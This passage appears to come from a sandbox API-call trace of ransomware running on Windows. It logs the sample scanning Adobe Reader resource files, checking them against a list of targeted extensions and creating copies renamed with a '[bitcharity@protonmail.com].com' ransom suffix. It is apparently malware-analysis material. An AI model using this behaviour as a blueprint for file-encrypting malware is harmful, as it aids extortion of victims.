DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Checkmark_White@1x.png") returned 139 [0283.887] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Checkmark_White@1x.png") returned 139 [0283.887] lstrlenW (lpString=".doc") returned 4 [0283.887] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0283.887] lstrlenW (lpString=".docx") returned 5 [0283.887] lstrcmpiW (lpString1=".docx", lpString2="x.png") returned -1 [0283.887] lstrlenW (lpString=".pdf") returned 4 [0283.887] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0283.887] lstrlenW (lpString=".xls") returned 4 [0283.887] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0283.888] lstrlenW (lpString=".xlsx") returned 5 [0283.888] lstrcmpiW (lpString1=".xlsx", lpString2="x.png") returned -1 [0283.888] lstrlenW (lpString=".ppt") returned 4 [0283.888] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0283.888] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Checkmark_White@1x.png") returned 139 [0283.888] lstrlenW (lpString=".zip") returned 4 [0283.888] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0283.888] lstrlenW (lpString=".rar") returned 4 [0283.888] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0283.888] lstrlenW (lpString=".bz2") returned 4 [0283.888] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0283.888] lstrlenW (lpString=".7z") returned 3 [0283.888] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0283.888] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Checkmark_White@1x.png") returned 139 [0283.888] lstrlenW (lpString=".dbf") returned 4 [0283.888] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0283.888] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Checkmark_White@1x.png") returned 139 [0283.888] lstrlenW (lpString=".1cd") returned 4 [0283.888] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0283.888] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Checkmark_White@1x.png") returned 139 [0283.888] lstrlenW (lpString=".jpg") returned 4 [0283.888] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0283.888] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Checkmark_White@1x.png") returned 139 [0283.888] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Checkmark_White@1x.png") returned 139 [0283.888] lstrlenW (lpString=".doc") returned 4 [0283.888] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0283.888] lstrlenW (lpString=".docx") returned 5 [0283.888] lstrcmpiW (lpString1=".docx", lpString2="x.png") returned -1 [0283.888] lstrlenW (lpString=".pdf") returned 4 [0283.889] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0283.889] lstrlenW (lpString=".xls") returned 4 [0283.889] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0283.889] lstrlenW (lpString=".xlsx") returned 5 [0283.889] lstrcmpiW (lpString1=".xlsx", lpString2="x.png") returned -1 [0283.889] lstrlenW (lpString=".ppt") returned 4 [0283.889] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0283.889] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Checkmark_White@1x.png") returned 139 [0283.889] lstrlenW (lpString=".zip") returned 4 [0283.889] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0283.889] lstrlenW (lpString=".rar") returned 4 [0283.889] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0283.889] lstrlenW (lpString=".bz2") returned 4 [0283.889] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0283.889] lstrlenW (lpString=".7z") returned 3 [0283.889] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0283.889] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Checkmark_White@1x.png") returned 139 [0283.889] lstrlenW (lpString=".dbf") returned 4 [0283.889] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0283.889] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Checkmark_White@1x.png") returned 139 [0283.889] lstrlenW (lpString=".1cd") returned 4 [0283.889] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0283.889] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Checkmark_White@1x.png") returned 139 [0283.889] lstrlenW (lpString=".jpg") returned 4 [0283.889] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0283.889] lstrcmpiW (lpString1=".png", lpString2=".com") returned 1 [0283.889] lstrlenW (lpString="A12_Crossmark_White@1x.png") returned 26 [0283.890] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Crossmark_White@1x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_crossmark_white@1x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11c0 [0284.228] GetFileSizeEx (in: hFile=0x11c0, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=478) returned 1 [0284.228] CloseHandle (hObject=0x11c0) returned 1 [0284.228] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Crossmark_White@1x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_crossmark_white@1x.png")) returned 0x20 [0284.236] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Crossmark_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_crossmark_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0284.236] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Crossmark_White@1x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_crossmark_white@1x.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11c0 [0284.237] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.237] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.237] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Crossmark_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_crossmark_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.237] CloseHandle (hObject=0x11c0) returned 1 [0284.237] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Crossmark_White@1x.png") returned 139 [0284.237] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Crossmark_White@1x.png") returned 139 [0284.237] lstrlenW (lpString=".doc") returned 4 [0284.237] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0284.237] lstrlenW (lpString=".docx") returned 5 [0284.237] lstrcmpiW (lpString1=".docx", lpString2="x.png") returned -1 [0284.237] lstrlenW (lpString=".pdf") returned 4 [0284.237] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0284.237] lstrlenW (lpString=".xls") returned 4 [0284.237] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0284.237] lstrlenW (lpString=".xlsx") returned 5 [0284.237] lstrcmpiW (lpString1=".xlsx", lpString2="x.png") returned -1 [0284.237] lstrlenW (lpString=".ppt") returned 4 [0284.237] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0284.237] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Crossmark_White@1x.png") returned 139 [0284.238] lstrlenW (lpString=".zip") returned 4 [0284.238] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0284.238] lstrlenW (lpString=".rar") returned 4 [0284.238] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0284.238] lstrlenW (lpString=".bz2") returned 4 [0284.238] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0284.238] lstrlenW (lpString=".7z") returned 3 [0284.238] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0284.238] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Crossmark_White@1x.png") returned 139 [0284.238] lstrlenW (lpString=".dbf") returned 4 [0284.238] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0284.238] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Crossmark_White@1x.png") returned 139 [0284.238] lstrlenW (lpString=".1cd") returned 4 [0284.238] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0284.238] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Crossmark_White@1x.png") returned 139 [0284.238] lstrlenW (lpString=".jpg") returned 4 [0284.238] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0284.238] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Crossmark_White@1x.png") returned 139 [0284.238] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Crossmark_White@1x.png") returned 139 [0284.238] lstrlenW (lpString=".doc") returned 4 [0284.238] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0284.238] lstrlenW (lpString=".docx") returned 5 [0284.238] lstrcmpiW (lpString1=".docx", lpString2="x.png") returned -1 [0284.238] lstrlenW (lpString=".pdf") returned 4 [0284.238] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0284.238] lstrlenW (lpString=".xls") returned 4 [0284.238] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0284.238] lstrlenW (lpString=".xlsx") returned 5 [0284.238] lstrcmpiW (lpString1=".xlsx", lpString2="x.png") returned -1 [0284.238] lstrlenW (lpString=".ppt") returned 4 [0284.238] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0284.238] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Crossmark_White@1x.png") returned 139 [0284.239] lstrlenW (lpString=".zip") returned 4 [0284.239] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0284.239] lstrlenW (lpString=".rar") returned 4 [0284.239] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0284.239] lstrlenW (lpString=".bz2") returned 4 [0284.239] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0284.239] lstrlenW (lpString=".7z") returned 3 [0284.239] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0284.239] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Crossmark_White@1x.png") returned 139 [0284.239] lstrlenW (lpString=".dbf") returned 4 [0284.239] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0284.239] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Crossmark_White@1x.png") returned 139 [0284.239] lstrlenW (lpString=".1cd") returned 4 [0284.239] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0284.239] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Crossmark_White@1x.png") returned 139 [0284.239] lstrlenW (lpString=".jpg") returned 4 [0284.239] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0284.239] lstrcmpiW (lpString1=".png", lpString2=".com") returned 1 [0284.239] lstrlenW (lpString="A12_Line_White@1x.png") returned 21 [0284.239] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Line_White@1x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_line_white@1x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11c0 [0284.240] GetFileSizeEx (in: hFile=0x11c0, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=162) returned 1 [0284.240] CloseHandle (hObject=0x11c0) returned 1 [0284.240] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Line_White@1x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_line_white@1x.png")) returned 0x20 [0284.240] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Line_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_line_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0284.240] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Line_White@1x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_line_white@1x.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11c0 [0284.240] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.240] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.240] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Line_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_line_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.241] CloseHandle (hObject=0x11c0) returned 1 [0284.241] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Line_White@1x.png") returned 134 [0284.241] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Line_White@1x.png") returned 134 [0284.241] lstrlenW (lpString=".doc") returned 4 [0284.241] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0284.241] lstrlenW (lpString=".docx") returned 5 [0284.241] lstrcmpiW (lpString1=".docx", lpString2="x.png") returned -1 [0284.241] lstrlenW (lpString=".pdf") returned 4 [0284.241] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0284.241] lstrlenW (lpString=".xls") returned 4 [0284.241] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0284.241] lstrlenW (lpString=".xlsx") returned 5 [0284.241] lstrcmpiW (lpString1=".xlsx", lpString2="x.png") returned -1 [0284.241] lstrlenW (lpString=".ppt") returned 4 [0284.241] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0284.241] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Line_White@1x.png") returned 134 [0284.241] lstrlenW (lpString=".zip") returned 4 [0284.241] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0284.241] lstrlenW (lpString=".rar") returned 4 [0284.241] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0284.241] lstrlenW (lpString=".bz2") returned 4 [0284.241] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0284.241] lstrlenW (lpString=".7z") returned 3 [0284.241] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0284.241] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Line_White@1x.png") returned 134 [0284.241] lstrlenW (lpString=".dbf") returned 4 [0284.241] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0284.241] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Line_White@1x.png") returned 134 [0284.241] lstrlenW (lpString=".1cd") returned 4 [0284.242] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0284.242] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Line_White@1x.png") returned 134 [0284.242] lstrlenW (lpString=".jpg") returned 4 [0284.242] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0284.242] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Line_White@1x.png") returned 134 [0284.242] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Line_White@1x.png") returned 134 [0284.242] lstrlenW (lpString=".doc") returned 4 [0284.242] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0284.242] lstrlenW (lpString=".docx") returned 5 [0284.242] lstrcmpiW (lpString1=".docx", lpString2="x.png") returned -1 [0284.242] lstrlenW (lpString=".pdf") returned 4 [0284.242] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0284.242] lstrlenW (lpString=".xls") returned 4 [0284.242] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0284.242] lstrlenW (lpString=".xlsx") returned 5 [0284.242] lstrcmpiW (lpString1=".xlsx", lpString2="x.png") returned -1 [0284.242] lstrlenW (lpString=".ppt") returned 4 [0284.242] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0284.242] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Line_White@1x.png") returned 134 [0284.242] lstrlenW (lpString=".zip") returned 4 [0284.242] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0284.242] lstrlenW (lpString=".rar") returned 4 [0284.242] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0284.242] lstrlenW (lpString=".bz2") returned 4 [0284.242] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0284.242] lstrlenW (lpString=".7z") returned 3 [0284.242] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0284.242] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Line_White@1x.png") returned 134 [0284.242] lstrlenW (lpString=".dbf") returned 4 [0284.242] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0284.242] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Line_White@1x.png") returned 134 [0284.242] lstrlenW (lpString=".1cd") returned 4 [0284.242] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0284.242] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Line_White@1x.png") returned 134 [0284.242] lstrlenW (lpString=".jpg") returned 4 [0284.242] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0284.243] lstrcmpiW (lpString1=".png", lpString2=".com") returned 1 [0284.243] lstrlenW (lpString="A12_Roundrect_White@1x.png") returned 26 [0284.243] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Roundrect_White@1x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_roundrect_white@1x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11c0 [0284.243] GetFileSizeEx (in: hFile=0x11c0, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=528) returned 1 [0284.243] CloseHandle (hObject=0x11c0) returned 1 [0284.243] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Roundrect_White@1x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_roundrect_white@1x.png")) returned 0x20 [0284.243] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Roundrect_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_roundrect_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0284.243] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Roundrect_White@1x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_roundrect_white@1x.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11c0 [0284.244] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.244] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.244] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Roundrect_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_roundrect_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.244] CloseHandle (hObject=0x11c0) returned 1 [0284.244] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Roundrect_White@1x.png") returned 139 [0284.244] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Roundrect_White@1x.png") returned 139 [0284.244] lstrlenW (lpString=".doc") returned 4 [0284.244] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0284.244] lstrlenW (lpString=".docx") returned 5 [0284.244] lstrcmpiW (lpString1=".docx", lpString2="x.png") returned -1 [0284.244] lstrlenW (lpString=".pdf") returned 4 [0284.244] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0284.244] lstrlenW (lpString=".xls") returned 4 [0284.244] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0284.244] lstrlenW (lpString=".xlsx") returned 5 [0284.244] lstrcmpiW (lpString1=".xlsx", lpString2="x.png") returned -1 [0284.244] lstrlenW (lpString=".ppt") returned 4 [0284.244] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0284.244] lstrlenW 